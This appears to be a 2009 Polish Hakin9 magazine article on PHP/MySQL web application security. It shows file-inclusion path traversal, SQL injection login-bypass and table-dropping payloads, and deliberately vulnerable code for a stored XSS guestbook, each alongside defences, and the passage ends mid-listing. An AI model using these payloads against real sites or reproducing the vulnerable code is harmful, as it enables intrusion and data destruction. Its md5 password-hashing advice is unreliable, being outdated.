54
OBRONA
HAKIN9 9/2009
W
czasach kiedy można kupić dom,
nie ruszając się ze swojego pokoju,
wysłać list do cioci z drugiego
końca globu nie mając koperty czy obracać
milionami dolarów nigdy nie będąc fizycznie
w banku, należy zwrócić szczególną uwagę
na bezpieczeństwo aplikacji internetowych.
Aplikacji, od których niejednokrotnie
zależy więcej niż tylko dobra rozrywka czy
zaoszczędzenie czasu. Spróbuję przybliżyć
ten temat, pokazując kilka zagrożeń na jakie
możemy natrafić podczas pracy w internecie,
a także sposoby jak można się przed nimi
uchronić (lub choćby rozpoznać, że coś złego
się stało).
Najczęstsze błędy
Najczęstszym błędem popełnianym przez
programistów z całego świata jest brak
jakiejkolwiek walidacji danych wejściowych.
Twórca aplikacji webowej często zakłada,
że nikomu nie chce się włamywać na jego
stronę (często ma w tej kwestii rację, jednak
trochę wstyd, gdy komuś już się zachce i nie
natrafi na najmniejszy opór).
Wszystkie dane wejściowe powinny zostać
poddane walidacji po stronie serwera. Dla
wygody użytkownika część danych może
być także sprawdzana po stronie klienta
– np. za pomocą JS (co nie zwalnia nas z
obowiązku ponownego sprawdzenia tych
danych na serwerze). W dalszej części
PATRYK JAR
Z ARTYKUŁU
DOWIESZ SIĘ
jak korzystać z luk w kodzie
serwisów w celu dostania
się do jego chronionych
fragmentów,
jak programować, zachowując
podstawowe zasady
bezpieczeństwa,
jak obronić się przed
pokazanymi atakami.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy html,
znać podstawy PHP, MySQL,
mieć ogólne pojęcie o
konfiguracji serwera www
(Apache + PHP).
artykułu opiszę w jaki sposób najlepiej
walidować dane wejściowe. Należy pamiętać
– zawsze walidujemy. Nigdy nie ufamy bez
sprawdzenia.
Zasada minimalnego przywileju
Jeśli użytkownik ma za zadanie odczytać
dane z bazy, to opcja usuwania danych,
bądź tabel, jest mu zbędna. W ten
sposób, nawet jeśli aplikacja nie będzie
wystarczająco zabezpieczona w jednym
miejscu, być może uda się uniknąć dużych
strat w innym. Użytkownik powinien mieć
dokładnie tyle uprawnień, ile w danym
momencie jest niezbędne do wykonania
zleconego zadania. Każde uprawnienie
ponadto jest potencjalnym zagrożeniem. Aby
stworzyć nowego użytkownika bazy danych,
posiadającego tylko możliwość odczytywania
danych należy wykonać zapytanie pokazane
na Listingu 1. (oczywiście użytkownik, z konta
którego będzie wykonywane to zapytanie,
musi mieć uprawnienia do nadawania
uprawnień).
W miejscu SELECT można podać
po przecinku więcej opcji, np. INSERT,
DELETE itp. Jeśli chce się nadać wszystkie
uprawnienia nie trzeba ich listować, zamiast
tego wpisać tam po prostu ALL. *.* znaczy
wszystkie bazy danych i wszystkie tabele, do
których prawo ma użytkownik przekazujący
uprawnienia.
Stopień trudności
Bezpieczeństwo
aplikacji
webowych
Życie zwykłego człowieka coraz bardziej uzależnione jest od
globalnej sieci. Podobnie jak w realnym świecie, tak
w Internecie czyha na nas wiele niebezpieczeństw. Artykuł
pokazuje jak dokonać pewnych typów ataku, a także jak się
przed takimi atakami zabezpieczyć.
55
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
HAKIN9
9/2009
Po stworzeniu takiego użytkownika,
wszędzie gdzie na stronie jedyną
przewidzianą funkcją jest odczyt z bazy
danych, korzystaj z user_name (nazwę
można podać dowolną, podobnie jak
hasło), a nie root (Listing 2).
Ustawienia serwera
i zwracane komunikaty
Mówiąc krótko, jeśli zostawiasz klucz
pod wycieraczką, to nie pisz kartki
mamo, klucz jest tam gdzie zawsze
– pod wycie*****ą. Podobnie na stronie.
Wszystkie komunikaty błędów i ostrzeżeń
generowane przez serwer powinny zostać
ukryte (należy wykorzystać je w fazie
pracy nad stroną, ale wyłączać w aplikacji
finalnej – dostępnej szerszemu gronu).
Dodatkowo komunikaty zwracane przez
skrypty (nie będące błędami w działaniu
skryptu) powinny mówić potencjalnemu
napastnikowi niewiele. Jednocześnie
powinny być jasne dla zwykłego
użytkownika, np. Podane hasło lub login
jest nieprawidłowe. Spróbuj jeszcze raz.
- zamiast Podane przez ciebie hasło
'stefan' nie pasuje, ponieważ w bazie
danych o nazwie 'users' są pola a, b,c … .
Istnieje prosty sposób na wyłączenie
wyświetlania komunikatów o błędach
wykonania skryptów oraz ostrzeżeń.
Stałe wyłączenie – plik php.ini
– należy zmienić wartość w linii (Listing
3). W tym wypadku, aby zmiana
konfiguracji zaczęła być widoczna
w działaniu serwera należy go
zrestartować.
Wyłączenie tylko dla jednego
skryptu (Listing 4).
Innym zagrożeniem związanym
z ustawieniami serwera jest (z
dziwnych przyczyn spotykane wśród
programistów PHP) nazywanie plików
konfiguracyjnych *.inc. Przez co można
je odczytać z poziomu przeglądarki, np.:
www.stona.pl/config.inc zwróci nam listę
haseł i stałych, które powinny być tajne.
Jest kilka rozwiązań. Nadawać
takim plikom rozszerzenie .php, które
wymusza parsowanie ich przez serwer
PHP (nawet jeśli zostaną wywołane to i
tak nie zobaczymy ich zawartości). Jeśli
jednak upierasz się przy .inc, to w pliku
httpd.conf należy dodać linię
`AddType
application/x-httpd-php .inc'
(Listing 5).
Konfiguracja – pliki httpd.conf
• Jeśli używasz serwera Apache na
Windows, to na pewno posiadasz
taki plik. W zależności od tego jakiego
dokładnie oprogramowania używasz
(WAMP, XAMMP, Krasnal, goły
Apache) plik ten może znajdować się
w różnych miejscach. Jeśli nie wiesz,
Listing 1.
Nadanie uprawnień nowemu użytkownikowi
GRANT
SELECT
ON
*
.
*
TO
user_name
IDENTIFIED
BY
'hasło'
;
Listing 2.
Unikanie korzystania z root
// tak wcześniej
// $db = new mysqli('localhost', 'root', 'haslo', 'baza_danych');
// A teraz tak:
$db = new mysqli('localhost', 'user_name', 'hasło', 'baza_danych');
Listing 3.
Wyłączenie informowania o błędach w PHP – konfiguracja serwera
# było: error_reporting = E_ALL
error_reporting = E_ALL ^ E_NOTICE
# było: display_errors = On
display_errors = Off
Listing 4.
Wyłączenie informowania o błędach w PHP – kod PHP
<?PHP
// tu bledy mogą być wyswietlone
ini_set
(
'display_errors'
,
'Off'
);
error_reporting
(
E_ALL
^
E_NOTICE
);
// tu już ani błędy, ani ostrzeżenia nie będą się pojawiać
?>
Listing 5.
Zmiana konfiguracji – pliki .inc traktowane jako skrypty
<
IfModule
mime_module
>
AddType
application
/
x
-
compress
.
Z
AddType
application
/
x
-
gzip
.
gz
.
tgz
AddType
application
/
x
-
httpd
-
php
.
php
AddType
application
/
x
-
httpd
-
php
.
inc
</
IfModule
>
Rysunek 1.
Umiejscowienie
DocumentRoot w drzewie katalogów
Zabezpieczeń nigdy dosyć
Oczywiście – drzwi należy wzmacniać do momentu, kiedy przebicie ściany staje się łatwiejsze.
Jednak należy być świadomym tego, że nawet jeśli na chwilę obecną nie są znane sposoby na
udany atak, to nie powinno to usypiać naszej czujności.
Jeśli posiadasz system uwierzytelniania użytkowników i przechowujesz hasła w bazie
danych, to nie należy trzymać ich w postaci czystego tekstu. Należy używać jednostronnych
funkcji szyfrujących, takich jak md5() – PHP – czy password() – MySQL.
OBRONA
56
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
57
HAKIN9
9/2009
gdzie znajduje się na twoim serwerze
należy skorzystać z wyszukiwania
plików. Jeśli posiadasz jakikolwiek plik
httpd.conf, (jeśli twój apache działa
to prawie pewne, że posiadasz) to
powinien zostać znaleziony.
• Umieszczanie takich plików ponad
drzewem katalogów dostępnym z
poziomu przeglądarki.
Wpisując w przeglądarce http://
strona.pl wczytywany jest plik index.htm.
Plik ten znajduje się w katalogu
wskazanym jako DocumentRoot, w pliku
httpd.conf. Załóżmy, że DocumentRoot
to katalog public_html (co można
zobaczyć na Rysunku 1).
Skoro do plików w katalogu
public_html odwołujemy się przez http:
//strona.pl to do plików znajdujących
się w katalogu nadrzędnym – home
(patrz Rysunek 1) – musielibyśmy
wykonać coś w stylu http://../strona.pl,
co jest oczywiście niepoprawne
– przeglądarka pokaże nam komunikat
niewłaściwego adresu WWW. Z
poziomu PHP jednak możemy załączyć
dowolny plik z dysku serwera (pod
warunkiem, że mamy prawa odczytu
tego pliku).
Zakładając, że katalog public_html
jest ustawiony jako główny katalog
serwera WWW (DocumentRoot),
umieszczaj ważne pliki konfiguracyjne
w katalogach nadrzędnych, tak aby
nie można było się do nich odwołać
z poziomu przeglądarki. Pamiętaj
– najczęściej PHP będzie mógł je
zwyczajnie załączyć.
• Ustawianie flagi przed załączeniem
takiego pliku oraz sprawdzenie, już
w pliku konfiguracyjnym, czy flaga ta
jest ustawiona –Listingi 6 i 7.
Nigdy nie trzymaj także hasła (nawet
zakodowanego) po stronie klienta
– np. w ciasteczku. Nawet zakodowane
hasło może być złamane (algorytmy
szyfrujące nie są idealne, a nawet
jakby były zawsze pozostaje metoda
brutal force – generowanie wszystkich
możliwych kombinacji znaków i
porównywanie z posiadanym ciągiem)
– szczególnie, jeśli nie została
wprowadzona odpowiednia polityka
na długość i poziomu skomplikowania
hasła.
Nawet jeśli nie wiemy, jakim cudem
napastnik miałby dojść do któregoś
miejsca kodu lub jesteś pewien, że
Listing 6.
Ustawianie flagi umożliwiającej załączenie konfiguracji
<?PHP
// home/public_html/index.php
$INCLUDE_CONFIG
=
true
;
include_once
(
'../config.php'
);
?>
Listing 7.
Załączenie konfiguracji z wykorzystaniem flagi
<?PHP
//Skrypt home/config.php:
if
(
!
isset
(
$INCLUDE_CONFIG
)
||
$INCLUDE_CONFIG
!==
true
)
{
die
(
'Błąd konfiguracji. Skontaktuj się z admin@strona.pl'
);
}
// tu ważna konfiguracja – hasła do BD itp.
?>
Listing 8.
Prosty szablon strony
<html>
<body>
<h1>
Tytuł
</h1>
<p>
Treść
</p>
</body>
</html>
Listing 9.
Includowanie plików – na sztywo
<html>
<body>
<?PHP
include('plik.php');
?>
</body>
</html>
Listing 10.
Includowanie plików wg przesłanego parametru
<?PHP
if
(
isset
(
$_GET
[
'file'
]))
{
$file
=
strval
(
$_GET
[
'file'
]);
}
else
{
$file
=
'index.htm'
;
}
include
(
$file
);
?>
REQUIRE vs. INCLUDE
W kodzie z Listingów 6 i 7 wykorzystana jest funkcja include _ once. Często zaleca się
wykorzystywanie require / require _ once do załączania plików. Różnica między
require a include polega na tym, że w przypadku braku pliku wskazanego jako
parametr require zakończy działanie skryptu, a include jedynie wygeneruje komunikat.
Funkcje include _ once / require _ once różnią się od include / require tym,
że nim załączą plik sprawdzają, czy już wcześniej nie był załączony. Jest to bardzo przydatna
opcja, polecam używać * _ once.
OBRONA
56
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
57
HAKIN9
9/2009
dane zewnętrzne dla skryptu (czy
to podane przez użytkownika, czy
to odczytane z bazy danych – jeśli
wcześniej wprowadzał je użytkownik
lub mógł zmodyfikować) są poprawne,
zawsze należy je sprawdzić, tak jakby to
była pierwsza linia frontu.
Wartym zapamiętania jest też
fakt, że najsłabszym punktem dobrze
zabezpieczonego systemu są ludzie.
Znany hacker – Kevin Mitnick – dużą
część swoich sukcesów na tym polu
zawdzięczał naiwności ludzi, którzy
podawali mu hasła dostępu lub
opowiadali, jak dany system działa. Jeśli
tworzymy system, w którym czynnik
ludzki odgrywa znaczącą rolę, warto
zastanowić się nad wprowadzeniem
odpowiednich procedur i przeszkolenie
pracowników. Troję zdobyto, bo nikt tego
nie ustalił.
Ataki
Na potrzeby tego artykułu
zaprezentujemy uproszczone kody – dla
czytelności – zarówno HTML, jak i PHP.
Nie znaczy to, że nie możemy zamiast
takiego kodu stworzyć odpowiedniej
klasy. Jestem zdania, że klasa często
może być rozwiązaniem lepszym
– dużo łatwiej zastosować ją w innym
projekcie.
Załączanie plików
Często, aby zaoszczędzić sobie pracy
twórcy stron www wykorzystują tzn.
includowanie plików. Polega to na tym,
że mamy szablon strony pokazany na
Listingu 8.
Jak widać już na tak prostym
przykładzie zmienia się jedynie pewna
część kodu strony. Dlaczego więc nie
spróbować tego wykorzystać i wklejać
jedynie fragmentu kodu, na przykład z
osobnego pliku.
Takie rozwiązanie nadal jednak
zmusza nas do tworzenia wielu
takich szablonów. A szablon ma to
do siebie, że powinien pozwalać
na pewną elastyczność. Spróbujmy
zatem przesłać dane w adresie i
wczytać odpowiedni plik. Tak wygląda
odsyłacz do tej strony: www.strona.pl/
index.php?file=start.php
Kod PHP (wstawiony w miejsce kodu
PHP z Listingu 9) prezentuje Listing 10.
Jak widać, teraz możemy w
nieskończoność tworzyć kolejne
podstrony. Czy to nie wygląda
Listing 11.
Includowanie plików wg przesłanego parametru – zabezpieczenie 1
<?PHP
if
(
isset
(
$_GET
[
'file'
]))
{
$file
=
strval
(
$_GET
[
'file'
]);
}
else
{
$file
=
'index.htm'
;
}
$full_path
=
'dozwolone_pliki/'
.
$file
.
'.htm'
;
// sprawdź czy istnieje taki plik
if
(
file_exists
(
$full_path
))
{
include
(
$full_path
);
// wczytaj jeśli istnieje
}
else
{
include
(
'dozwolone_pliki/blad404.htm'
);
// wyświetl błąd
}
?>
Listing 12.
Includowanie plików wg przesłanego parametru – zabezpieczenie 2
<?PHP
@
$file
=
strval
(
$_GET
[
'file'
]);
switch
(
$file
)
{
case
'start'
:
include
(
'strona_startowa.htm'
);
break
;
case
'kontakt'
:
include
(
'kontakt.php'
);
break
;
/* inne pliki */
default
:
include
(
'blad404.htm'
);
break
;
}
?>
Rysunek 2.
Drzewo katalogów z tajnym
plikiem
Funkcja skrótu, jednokierunkowa
funkcja mieszająca lub funkcja haszująca
Jednostronne funkcje mieszające kodują podany ciąg znaków na szyfr określonej
długości. W teorii szyfr ten powinien być nie do odkodowania (w praktyce bywa różnie, ale
nawet jeśli nie jest to zabezpieczenie idealne, zawsze lepsze takie niż żadne). Przykładowo
ciąg ABC zostanie zakodowany na fdeh_$fd. I jako taki zapisany do bazy danych. Jeśli
ktoś wykradnie nam informacje o hasłach, to nadal nie będzie mógł się zalogować.
Podczas logowania użytkownik będzie nadal musiał podać ABC, które znowu wg tego
samego algorytmu zakoduje się do fdeh _ $fd . Następnie odczyta się z bazy danych
ciąg wcześniej zakodowany i porówna. Jeśli będą sobie równe, to znaczy, że ciąg podany
podczas rejestracji jak i ten podany przy logowaniu są identyczne, czyli ktoś podał
prawidłowe hasło.
Operator
kontroli błędów
Znak @ jest w PHP operatorem kontroli
błędów. Powoduje on, że błędy jakie mogą
wystąpić w linii, w której się go wstawi nie
będą wyświetlana na stronie.
OBRONA
58
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
59
HAKIN9
9/2009
obiecująco? Ale chwilę. Co jeśli
ktoś będzie chciał nam zrobić jakiś
psikus i poda taki link: www.strona.pl/
index.php?file=../pamietnik.txt
zakładając, że drzewo katalogów
wygląda sposób pokazany na
Rysunku 2.
Hacker otrzyma informacje o
twoim życiu osobistym. Zamiast
pliku pamietnik.txt mógłby to być
plik z hasłami, raport z działalności
firmy itp. Skoro nie miałeś ochoty
się tym pochwalić na stronie, to
prawdopodobnie nie chcesz, aby ktoś
to czytał.
Jak się zabezpieczyć?
Metod jest kilka:
• nie przesyłamy całej ścieżki do pliku,
a tylko jego nazwę. Wszystkie pliki,
które chcemy includować trzymamy
w jednym miejscu na serwerze
– Listing 11.
Nadal jednak istnieje ryzyko, że w
zmiennej
$ _ GET
zostanie podana
wartość: ../../inny_plik, co sprawi, że
cała ścieżka będzie wyglądać tak:
dozwolone_pliki/../../inny_plik.htm, co jest
równoważne ../inny_plik.htm
Nazwa rozszerzenia pozwala
uniknąć problemu z możliwością
odczytania dowolnego pliku. Jednak
nadal wszystkie pliki *.htm są w zasięgu
napastnika (np. nieszczęsny raport
finansowy za 3 kwartał). Spróbujmy
zatem zabezpieczyć to jeszcze bardziej
i użyjmy instrukcji warunkowej switch
– Listing 12.
Co prawda ta metoda powoduje,
że tracimy sporo na elastyczności
– każda nowo dodana podstrona
wymaga zmian w kodzie tego skryptu,
a nie jedynie załadowaniu pliku. Jednak
ryzyko udanego ataku zostaje znacznie
ograniczone.
Listing 13.
Kod strony index.htm
<html><body>
<form
action=
'login.php'
method=
'post'
>
<input
type=
'text'
name=
'login'
/>
<input
type=
'password'
name=
'pass'
/>
<input
type=
'submit'
value=
'loguj'
/>
</form>
</body></html>
Listing 14.
Kod skryptu login.php
<?PHP
ini_set
(
'display_errors'
,
'On'
);
// 1
error_reporting
(
E_ALL
);
include_once
(
'config.php'
);
// 2
function
debug
(
$str
)
{
// 3
echo
'<pre>'
;
print_r
(
$str
);
echo
'</pre>'
;
}
$mysqli
=
new
mysqli
(
DBHOST
,
DBUSER
,
DBPASS
,
DBNAME
);
if
(
!
$mysqli
)
{
die
(
'Nie udało się nawiązać połączenia z bazą danych.'
);
}
$query
=
"SELECT login FROM users WHERE login = '{
$_POST
[
'login'
]
}' AND pass =
'{
$_POST
[
'pass'
]
}'"
;
// 4
echo
(
$query
);
// 5
$res
=
$mysqli
->
query
(
$query
);
if
(
!
$res
)
{
echo
'coś jest nie tak'
;
echo
mysql_error
();
// 6
}
debug
(
$res
);
// 7
if
(
$res
->
num_rows
(
$res
)
>
0
)
{
echo
'masz dostęp do ważnych danych'
;
}
else
{
echo
'nie masz dostępu'
;
}
?>
Listing 15.
Wynikowy ciąg dla danych login = login, password = pass
SELECT
1
FROM
users
WHERE
login
=
'login'
AND
password
=
'pass'
;
Wspólny documentRoot
dla dwóch systemów operacyjnych
Dla dociekliwych: http://webmade.org/porady/documentroot-linux-windows.php
– wspólny documentRoot dla kilku serwerów pracujących na różnych systemach
operacyjnych
Rysunek 3.
Struktura katalogów
potrzebna do ataków XSS
OBRONA
58
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
59
HAKIN9
9/2009
SQL Injection
(ang. dosłownie zastrzyk SQL)
– luka w zabezpieczeniach aplikacji
internetowych polegająca na
nieodpowiednim filtrowaniu lub
niedostatecznym typowaniu i
późniejszym wykonaniu danych
przesyłanych w postaci zapytań SQL do
bazy danych.
Skala problemu
Według raportu X-Force 2008 Trend
Statistics, przygotowanego przez IBM
Internet Security Systems, rok 2008
może być uważany za rok ataków SQL-
injection (55% wszystkich ujawnionych
luk dotyczy aplikacji webowych).
Logowanie bez hasła – na potrzeby
tego artykułu przygotujmy sobie dwa
pliki: index.htm (kod z Listingu 13).
Po wysłaniu formularza dane
zostają przetworzone przez skrypt
login.php (Listing 14). Opis:
1. Bardzo przydatne włączenie
wyświetlania błędów. Niezwykle
pomocne podczas pisania kodu,
ale absolutnie zabronione w
wersji udostępnionej w Internecie!
Koniecznie należy wyłączyć
wyświetlanie błędów.
2. Załączenie stałych konfiguracyjnych.
Warto zawsze trzymać je w
osobnych plikach. Dzięki temu
przy zmianie użytkownika bd nie
będziesz musiał zmieniać 100 linii
w 94 plikach. Wytarczy edycja w
jednym miejscu.
3. Bardzo przydatna funkcja podczas
pisania i testowania kodu. Jednak
w wersji finalnej nie możemy sobie
pozwolić na takie dodatki.
4. Kolejny błąd – nie sprawdzamy
totalnie danych wprowadzonych
przez internautę. To aż woła o atak!
5. Jak pkt 1 i 3. Tak dla testów – nie w
wersji finalnej.
6. Jak wyżej. Informacje o typie błędu
są potrzebne programiście – nie
internaucie. On powinien zostać
poinformowany, że coś nie poszło
jak trzeba i poproszony o ponowną
próbę.
7. Jak 1, 3 i 5. Dobry sposób na
testowanie skryptu. Niewybaczalne
Listing 16.
Wynikowy ciąg dla danych login = yarpo" #, password = cokolwiek
SELECT
1
FROM
users
WHERE
login
=
"yarpo"
#
" AND pass = "
"
;
Listing 17.
Wynikowy ciąg dla danych login = yarpo, password = a" or 1 = 1; #
SELECT
1
FROM
users
WHERE
login
=
"yarpo"
AND
pass
=
"a"
or
1
=
1
;
#"
Listing 18.
Wynikowy ciąg dla danych login = ';, password = cokolwiek
SELECT
1
FROM
users
WHERE
login
=
''
;
' AND pass = '
cokolwiek
'
Listing 19.
Błąd zwrócony przez bazę danych MySQL
You
have
an
error
in
your
SQL
syntax
;
check
the
manual
that
corresponds
to
your
MySQL
server
version
for
the
right
syntax
to
use
near
''
;
'
AND pass = '
cokolwiek
'
at
line
1
Listing 20.
Błąd zwrócony przez bazę danych MySQL
Unknown
column
'login2'
in
'order clause'
.
Listing 21.
Błąd zwrócony przez bazę danych MySQL
Unknown
column
'nazwa_tabeli .login'
in
'order clause'
To naprawdę ma miejsce!
Ktoś mógłby odnieść wrażenie czytając ten artykuł, że to niemożliwe, aby popełniać takie błędy
i wyświetlać tyle informacji. Zapraszam na stronę wroclaw.pl – w wyszukiwarce starczy wpisać '
co pozwoli nam podejrzeć zapytanie.
Rysunek 4.
Zalogowany użytkownik
Wbudowane zabezpieczenia PHP
Wygląda na to, że PHP posiada zabezpieczenia przed tego typu atakami. Zarówno testy
wykorzystujące funkcję mysql_query(), jak i obiekt mysqli (metoda mysqli::query()) nie pozwalają
na wykonanie więcej niż jednego zapytania na raz.
OBRONA
60
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
61
HAKIN9
9/2009
zaniedbanie w wersji publicznie
udostępnionej.
Kod pokazany na Listingu 14. wydaje
się ogólnie dobry – w sensie przecież
działa. Owszem, działa – i to jak!
Zobacz co by się stało, gdyby w
formularzu wpisywać takie ciągi
znaków:
W zmiennej
$query
znajduje się
ciąg jak na Listingu 15. Przesłane dane:
login = login
password = pass
Załóżmy, że ktoś chciałby się
zalogować, ale nie znałby hasła. Nic
straconego: Starczy przesłać dane:
login = yarpo" #
password = cokolwiek
Znak # powoduje, że reszta linii
zostanie uznana przez serwer MySQL
za komentarz.
W takim wypadku otrzymujemy
taki ciąg, jako zapytanie widoczne na
LISTINGu 16.
I oto jesteśmy zalogowani jako
użytkownik o nazwie yarpo. Inne
możliwości – Listing 17.
Przesłane dane:
login = yarpo
password = cokolwiek" or 1=1; #
W ten sposób także udało się nam
zalogować bez znajomości hasła.
Pobieranie informacji
o strukturze bazy danych
Każdy intruz będzie chciał zdobyć jak
najwięcej informacji odnośnie struktury
naszej bazy. Aby to zrobić może
próbować preparować odpowiednio
zapytania i oczekiwać na błędy
zwracane przez serwer.
Jeśli do tak przygotowanego kodu
podamy dane:
login: ';
pass: cokolwiek
otrzymamy w wyniku ciąg znaków
widoczny na Listingu 18.
Jako, że zapytanie z Listingu 18. nie
jest prawidłowe, zostanie zwrócony błąd
– Listing 19.
W ten sposób potencjalny napastnik
dowiedział się nazwy jednej kolumny
(pass). Dodatkowo wie, że używamy
systemy zarządzania bazą danych
MySQL. Dowiedzmy się czegoś więcej:
login: ' or 1=1 order by login2; #
pass: cokolwiek
Otrzymujemy komunikat błędu widoczny
na Listingu 20.
Czyli już wiemy, że nie ma w tej
tabeli takiej kolumny. Jednak próbując
dalej dowiemy się, że istnieje kolumna
Listing 22.
Zabezpieczony kod z Listingu 14
<?php
ini_set
(
'display_errors'
,
'Off'
);
// 1
error_reporting
(
E_ALL
^
E_NOTICE
);
$CONFIG_INCLUDE
=
true
;
include_once
(
'../config.php'
);
// 2
$mysqli
=
new
mysqli
(
DBHOST
,
DBUSER
,
DBPASS
,
DBNAME
);
if
(
!
$mysqli
)
{
die
(
'Nie udało się nawiązać połączenia z bazą danych.'
);
}
$login
=
mysql_escape_string
(
$_POST
[
'login'
]);
// 3
$pass
=
mysql_escape_string
(
$_POST
[
'pass'
]);
$format
=
'SELECT login FROM users WHERE login = "%s" AND pass = "%s"'
;
// 4
$query
=
sprintf
(
$format
,
$login
,
$pass
);
$res
=
$mysqli
->
query
(
$query
);
if
(
!
$res
)
{
die
(
'Niepoprawne zapytanie'
);
}
if
(
$res
->
num_rows
(
$res
)
>
0
)
{
echo
'masz dostęp do ważnych danych'
;
}
else
{
echo
'nie masz dostępu'
;
}
$res
->
close
();
// 5
$mysqli
->
close
();
?>
Listing 23.
Plik konfiguracyjny z zabezpieczeniem
<?PHP
if
(
$CONFIG_INCLUDE
!==
true
)
die
(
"Błąd krytyczny konfiguracji. Skontaktuj się z administratorem."
);
define
(
'DB_HOST'
,
'localhost'
);
define
(
'DB_NAME'
,
'test'
);
define
(
'DB_USER'
,
'user'
);
// jakis użytkownik z minimalnymi uprawnieniami
define
(
'DB_PASS'
,
'pass'
);
?>
Listing 24.
Tworzenie tabeli users
create
users
(
login
char
(
20
)
primary
key
,
pass
char
(
42
)
not
null
);
OBRONA
60
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
61
HAKIN9
9/2009
login (jeśli będziemy modyfikować to
zapytanie zmieniając nazwę kolumny w
klauzuli order by).
Skoro już wiemy, że istnieje
kolumna login, to możemy spróbować
dowiedzieć się jak nazywa się tabela:
login: ' or 1=1 order by nazwa_
tabeli.login; #
Jeśli nie pojawi się komunikat błędu
podobny do tego z Listingu 21. to
znaczy, że poznaliśmy już nazwę tabeli.
Modyfikowanie bazy danych
W języku SQL kolejne zapytania oddziela
się znakiem średnika. Jeśli ktoś poda
jako dane wejściowe:
login: a'; delete from users; #
to właśnie wyczyścił całą tabelę users
(nazwę tabeli uzyskał sposobem
pokazanym wyżej).
Mógłby także usunąć tą tabelę – lub
nawet całą bazę danych.
login: a'; drop table users; #
login: a': drop database test; #
Lub mniej szkodliwe – dodał sobie
nowego użytkownika:
login: a'; insert into('hacker',
'pass');
Zabezpieczenia przed SQL Injection:
• Walidacja danych wejściowych.
Przydatne mogą być funkcje
mysql _ escape _ string(),
addslashes()
• Rzutowanie typów zmiennych.
Jeśli w zamierzeniu programisty
jakaś zmienna ma mieć wartość
całkowitą używamy (dla PHP):
intval(), floatval()
dla
zmiennoprzecinkowych itd.
• Używanie więcej niż jednego
użytkownika z różnymi uprawnieniami
w zależności od zadań jakie
mają być wykonane. Nie używać
domyślnie root do wszystkiego.
• Sprawdzanie czy w ciągu występują
niepożądane wyrażania (typu
UNION,
DELETE, DROP, INSERT
). Przydatna
może być funkcja
preg _ match()
.
Zabezpieczony kod z Listingu 14. można
przeanalizować na Listingu 22.
Opis:
• Wyłączamy wyświetlanie błędów.
• Załączenie pliku z konfiguracją.
Umieszczamy go ponad drzewem
katalogów. Ustawiamy flagę,
nazywamy go z rozszerzeniem
PHP.
Listing 25.
Kod strony hacking9/xss/index.php
<?PHP
ini_set
(
'display_errors'
,
'Off'
);
error_reporting
(
E_ALL
^
E_NOTICE
);
session_start
();
?>
<html><body>
<?PHP
include_once
(
'cLogin.php'
);
$login
=
new
cLogin
();
if
(
$login
->
is_logged
()
||
(
isset
(
$_POST
[
'login'
])
&&
$login
->
log_in
(
$_POST
[
'login'
],
$_POST
[
'pass'
])))
{
?>
<h1>
Zalogowany <?PHP echo $login->get_user_name(); ?>
</h1>
<?PHP
} else {
?>
<h1>
Zaloguj
</h1>
<form
action=
'index.php'
method=
'post'
>
<input
type=
'text'
name=
'login'
><input
type=
'password'
name=
'pass'
>
<input
type=
'submit'
value=
'Zaloguj'
>
</form>
<?PHP
}
?>
<h2>
Guestbook
</h2>
<form
action=
'index.php'
method=
'post'
>
<textarea
name=
'text'
cols=
'100'
rows=
'10'
>
Dopisz się!
</textarea><br
/>
<input
type=
'submit'
value=
'zapisz'
/>
</form>
<?PHP
include_once
(
'guestbook.php'
);
?>
</body></html>
Listing 26.
Kod skryptu hacking9/xss/guestbook.php
<?PHP
function
save
(
$input
)
{
$f
=
fopen
(
'inputs.txt'
,
'a+'
);
fwrite
(
$f
,
$input
.
'<hr />'
);
fclose
(
$f
);
}
function
read
()
{
$f
=
fopen
(
'inputs.txt'
,
'r+'
);
$text
=
fread
(
$f
,
filesize
(
'inputs.txt'
));
fclose
(
$f
);
echo
$text
;
}
if
(
isset
(
$_POST
[
'text'
]))
save
(
$_POST
[
'text'
]);
// jeśli dodano nowy wpis - zapisz
read
();
// odczytaj wszystko
?>
OBRONA
62
HAKIN9 9/2009
BEZPIECZEŃSTWO APLIKACJI WEBOWYCH
63
HAKIN9
9/2009
• Za pomocą funkcji
mysql _
escape _ string()
stawiamy
kolejną zaporę dla napastnika.
Funkcja ta powoduje wstawienie
znaków ucieczki w ciąg, np. to jest
mój 'napis' zostanie zmieniony na
to jest mój \'napis\'. Dzięki temu
cudzysłowy i apostrofy tracą swoją
niszczycielską moc.
• To być może nie wpływa na
bezpieczeństwo, ale sądzę,
że całkiem nieźle poprawia
czytelność, może mieć też wpływ
na wydajność.
• Sprzątamy po skrypcie. Poprzednio
tego nie było także (znowu – nie
zwiększa to bezpieczeństwa, ale
wygląda ładniej i jest zrobione
właściwie).
Plik home/config.php można zobaczyć
na Listingu 23.
Kod SQL tworzący tabele users
można zobaczyć na Listingu 24.
Zabezpieczenia tu wykorzystane
powodują, że kod jest dużo bardziej
odporny na ataki, a już na pewno nie
ułatwia zadania intruzowi.
Cross-Site Scripting
Sposób ataku na serwis WWW
polegający na osadzeniu w treści
atakowanej strony kodu (zazwyczaj
JavaScript), który wyświetlony innym
użytkownikom może doprowadzić do
wykonania przez nich niepożądanych
akcji. Skrypt umieszczony w
zaatakowanej stronie może obejść
niektóre mechanizmy kontroli dostępu
do danych użytkownika.
Persistant XSS
Prezentacja tego przykładu będzie
wymagać kilku zabiegów. Jeśli chcesz
spróbować wykonać ten atak także u
siebie w domu, przejdź do katalogu
głównego twojego serwera WWW
(documentRoot) i utwórz w nim
katalog hackin9/xss. Będziemy w nim
umieszczać wszystkie pliki związane z
tym atakiem. Załóżmy, że mamy prostą
stronę hackin9/xss/index.php taką jak na
Listingu 25.
Oraz prosty skrypt hackin9/xss/
guestbook.php widoczny na Listingu 26.
Listing 27.
Kod klasy hacking9/xss/cLogin.php
<?PHP
$CONFIG_INCLUDE
=
true
;
include_once
(
'../config.php'
);
// DB_HOST, DB_USER, DB_PASS, DB_NAME
class
cLogin
{
private
$mysqli
;
private
$interval
;
private
$session_name
;
private
